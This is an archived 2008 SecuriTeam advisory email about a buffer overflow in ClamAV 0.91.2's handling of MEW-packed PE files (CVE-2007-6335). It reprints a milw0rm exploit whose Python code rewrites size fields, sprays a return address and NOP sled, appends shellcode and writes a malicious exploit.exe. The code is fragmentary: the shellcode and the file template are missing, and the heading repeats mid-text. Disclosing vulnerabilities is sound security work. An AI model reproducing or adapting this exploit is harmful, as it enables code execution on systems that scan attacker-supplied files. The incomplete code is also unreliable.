

[EXPL] ClamAV MEW PE Vulnerability (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-01/msg00012.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 8 Jan 2008 09:02:38 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ClamAV MEW PE Vulnerability (Exploit)

SUMMARY

A vulnerability in ClamAV allows attackers to supply the program with a malformed MEW PE file which in turn will cause the program to overflow an internal buffer and execute arbitrary code, the following exploit code can be used to test the problem.

DETAILS

Vulnerable Systems:

* ClamAV version 0.91.2

Exploit:

'''

clamav-0.91.2 exploit (CVE-2007-6335)

(c) Thomas Pollet thomas.pollet@xxxxxxxxxx

we own dsize in

```
read(desc, src + dsize, exe_sections[i + 1].rsz)) != exe_sections[i + 1].rsz)
```


[EXPL] ClamAV MEW PE Vulnerability (Exploit)

```
exe = exe.replace("DSIZE",struct.pack('<L',0x01010000 | 0xb67b))#dsize
exe = exe.replace("SSIZE",struct.pack('<L',0x49838da9 + 0x7000 ))
exe = exe.replace("COPYSIZE",struct.pack('<L',0xf7070707 ))
exe = exe.replace("CRAP","A"*768)
```

```
exe+="a" #alignment
exe+=struct.pack('<L', 0xbfff9010 ) * 16000 #return address
exe+="\x90"* 0x4000
exe+=shellcode
```

```
fout = open("exploit.exe","w")
fout.write(exe)
fout.close()
```

milw0rm.com [2008-01-07]

ADDITIONAL INFORMATION

The information has been provided by <<mailto:thomas.pollet@xxxxxxxxxx>>
Thomas Pollet.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.